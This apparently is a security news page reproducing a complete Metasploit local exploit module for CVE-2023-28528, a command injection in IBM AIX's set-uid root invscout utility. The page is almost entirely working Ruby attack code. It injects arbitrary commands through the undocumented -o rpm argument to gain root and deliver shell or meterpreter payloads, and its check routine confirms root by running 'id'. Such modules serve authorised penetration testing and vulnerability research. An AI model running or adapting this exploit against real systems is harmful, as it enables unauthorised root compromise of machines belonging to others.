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Published on May 18th, 2023 📆 | 1604 Views ⚑

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IBM AIX 7.2 inscout Privilege Escalation – Torchsec


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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'invscout RPM Privilege Escalation',
'Description' => %q{
This module exploits a command injection vulnerability in IBM AIX
invscout set-uid root utility present in AIX 7.2 and earlier.

The undocumented -rpm argument can be used to install an RPM file;
and the undocumented -o argument passes arguments to the rpm utility
without validation, leading to command injection with effective-uid
root privileges.

This module has been tested successfully on AIX 7.2.
},
'Author' => [
'Tim Brown', # Discovery and PoC
'bcoles' # Metasploit
],
'References' => [
['CVE', '2023-28528'],
['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2023-1691'],
],
'Platform' => %w[unix aix],
'Arch' => ARCH_CMD,
'Payload' => {
'BadChars' => "\x00\x0a\x0d\x22",
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet openssl'
}
},
'DefaultOptions' => {
'PrependSetresuid' => true,
'PrependSetresgid' => true,
'PrependFork' => true
},
'SessionTypes' => %w[shell meterpreter],
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-04-24',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('INVSCOUT_PATH', [true, 'Path to invscout executable', '/usr/sbin/invscout'])
])
end

def invscout_path
datastore['INVSCOUT_PATH']
end





def check
return CheckCode::Safe("#{invscout_path} is not executable") unless executable?(invscout_path)

res = execute_command('id')
id = res.to_s.scan(/^(.*?uid=.*?)$/).flatten.first.to_s

return CheckCode::Safe("#{invscout_path} is not vulnerable.") unless id.include?('euid=0')

CheckCode::Vulnerable("Output: #{id}")
end

def execute_command(cmd, _opts = {})
rpm_path = "#{Rex::Text.rand_text_alphanumeric(8..12)}.rpm"
rpm_args = "; #{cmd}; echo "
res = cmd_exec("#{invscout_path} -RPM #{rpm_path} -o \"#{rpm_args}\"")
vprint_line(res) unless res.blank?
res
end

def exploit
execute_command(payload.encoded)
end
end

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